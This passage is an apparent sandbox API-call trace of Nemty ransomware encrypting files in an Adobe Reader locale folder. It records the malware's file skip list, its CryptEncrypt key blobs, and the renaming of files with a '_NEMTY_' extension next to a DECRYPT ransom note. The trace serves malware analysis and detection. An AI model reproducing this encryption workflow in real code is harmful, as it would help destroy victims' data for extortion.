lpUsedDefaultChar=0x0) returned 13 [0177.756] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0177.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0177.756] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.756] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0177.756] Sleep (dwMilliseconds=0x5) [0177.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d9998d0, dwHighDateTime=0x1d561e8)) [0177.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d9998d0, dwHighDateTime=0x1d561e8)) [0177.765] GetLastError () returned 0x0 [0177.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.765] GetLastError () returned 0x0 [0177.765] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0177.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0177.766] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0177.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0177.766] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="EV0SOSaGNFkq4ZoC3I9VCHX1MzREjzkFK/Jmm4dXfTxdxxFISagh7wcXOgoH6KuA\r\n2LzoDra/ufFaWcJCl/EGZL37dOiPUkqIKIhwSEC6mOm/2w/Wb6xXJ84s5p+lvoeI\r\nkJhVQQgWznuvZ5SFupSI2G9i7WM7WMrKxMI5KG3pW0BlLRMGW2JhH5oIAqr59Bzl\r\n9gE3Tneb3e9cKiXpUwy8qSda9nTpRqaQdaowCKJpRjjgbxWWL/HgH90Ra/7b7C9s\r\nzcDb45qVfUTz0Pmr8EWoAPjZvGV1A/ucKaslVLDRafBEcw5l70oKPk2MGqXRN3H4\r\nRgOpr9kqmE5lhSKrHaELmg==\r\n", pcchString=0x653e29c) returned 1 [0177.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0177.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0177.766] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=230) returned 1 [0177.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0177.766] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.766] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0177.767] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.767] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0177.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.768] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=230, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6 [0177.768] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0177.768] CloseHandle (hObject=0x2f0) returned 1 [0177.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0177.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0177.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0177.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0177.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.768] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0177.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0177.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0177.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0177.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.775] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d94d610, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d94d610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d94d610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0177.775] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0177.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.775] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.775] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0177.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.776] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.776] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.776] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d94d610, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d94d610, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d94d610, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0177.776] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.776] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.776] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.HRV", cAlternateFileName="")) returned 1 [0177.776] lstrcmpiW (lpString1="Spelling.HRV", lpString2=".") returned 1 [0177.776] lstrcmpiW (lpString1="Spelling.HRV", lpString2="..") returned 1 [0177.776] lstrcmpiW (lpString1="Spelling.HRV", lpString2="...") returned 1 [0177.776] lstrcmpiW (lpString1="Spelling.HRV", lpString2="windows") returned -1 [0177.776] lstrcmpiW (lpString1="Spelling.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="rsa") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="NTDETECT.COM") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="ntldr") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="MSDOS.SYS") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="IO.SYS") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="boot.ini") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="boot.ini") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="ntuser.dat") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="desktop.ini") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="CONFIG.SYS") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="RECYCLER") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="bootmgr") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="programdata") returned 1 [0177.777] lstrcmpiW (lpString1="Spelling.HRV", lpString2="appdata") returned 1 [0177.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0177.777] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HRV", lpUsedDefaultChar=0x0) returned 12 [0177.777] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.777] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.778] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.778] Sleep (dwMilliseconds=0x5) [0177.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d9e5b90, dwHighDateTime=0x1d561e8)) [0177.791] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d9e5b90, dwHighDateTime=0x1d561e8)) [0177.791] GetLastError () returned 0x12 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.792] GetLastError () returned 0x12 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.792] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.792] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.792] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.792] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XAO/FPz0TW2KN9t7EenEydmI6Pt9EEqAZWw9MBN/WBH9g7ulaPogkcOcZMwf4FoZ\r\nQuucZPQDItnJ0H78SudRkz4k0lw9y/8A2Nm8GXlrRAYGlIIz9MKp81DNgvnn/syh\r\n5rFgaEFvQ+UqWif8bsMRQ7KcPuXDMD/k28DkiPdUjl+bMMmq77gW63/wqQYTEAdb\r\n7thkBlG1MhdaE7SLmfGy/JW3t7Kmi8OIF6y2TmRWb+EfqMqYpL594NIllUJ5ougZ\r\nJkUW9CrKxfU1f0tz0ahfopEnNSQA0uad0269kY6HxnyE0PjCLLF8OSPRJXDQCmjG\r\nG0cdLp7JrYItAsYPZt21mg==\r\n", pcchString=0x653e5dc) returned 1 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.792] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.792] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Spelling.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\spelling.hrv"), 